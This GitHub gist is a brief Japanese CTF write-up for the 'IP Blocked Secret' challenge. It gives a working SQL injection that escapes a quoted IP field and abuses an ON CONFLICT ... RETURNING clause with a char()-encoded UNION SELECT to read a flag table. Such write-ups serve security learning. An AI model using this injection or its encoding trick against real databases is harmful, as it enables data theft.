Skip to content

Instantly share code, notes, and snippets.

@sota70
Last active August 1, 2026 10:58
Show Gist options
  • Select an option

  • Save sota70/3a663991f2a53cdbc96b6bd88262d47a to your computer and use it in GitHub Desktop.

Select an option

Save sota70/3a663991f2a53cdbc96b6bd88262d47a to your computer and use it in GitHub Desktop.
Writeup for IP Blocked Secret

IP Blocked Secret Writeup

既に様々な解法が共有されているので、まだ出ていなさそうな方法の紹介になります。

解法

自分はIPアドレスに 1.1.1' を入れてシングルクォートから抜け出していました。

これのせいでデータベースに保存されるIPアドレスが 1.1.1', になってしまい、フラグを描画させる際のリクエストでInvalid IPになってしまいます。

そこで、idの方にクエリを仕込み、 GET / の方でSQLiをすることでフラグを取得しました。

ip: 1.1.1'

secret: , 0) ON CONFLICT(ip) DO UPDATE SET secret = excluded.secret RETURNING char(39,32,85,78,73,79,78,32,83,69,76,69,67,84,32,102,108,97,103,32,65,83,32,115,101,99,114,101,116,44,32,39,49,46,51,46,51,46,55,39,32,65,83,32,105,112,32,70,82,79,77,32,102,108,97,103,59,32,45,45) AS id; /*

文字コードになっている部分はデコードすると以下のクエリになります。

' UNION SELECT flag AS secret, '1.3.3.7' AS ip FROM flag; --

あとは 1.3.3.7 のIPアドレスでフラグを描画させるだけです。この時、発行されたsessionをクッキーに付けとくのを忘れずに。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment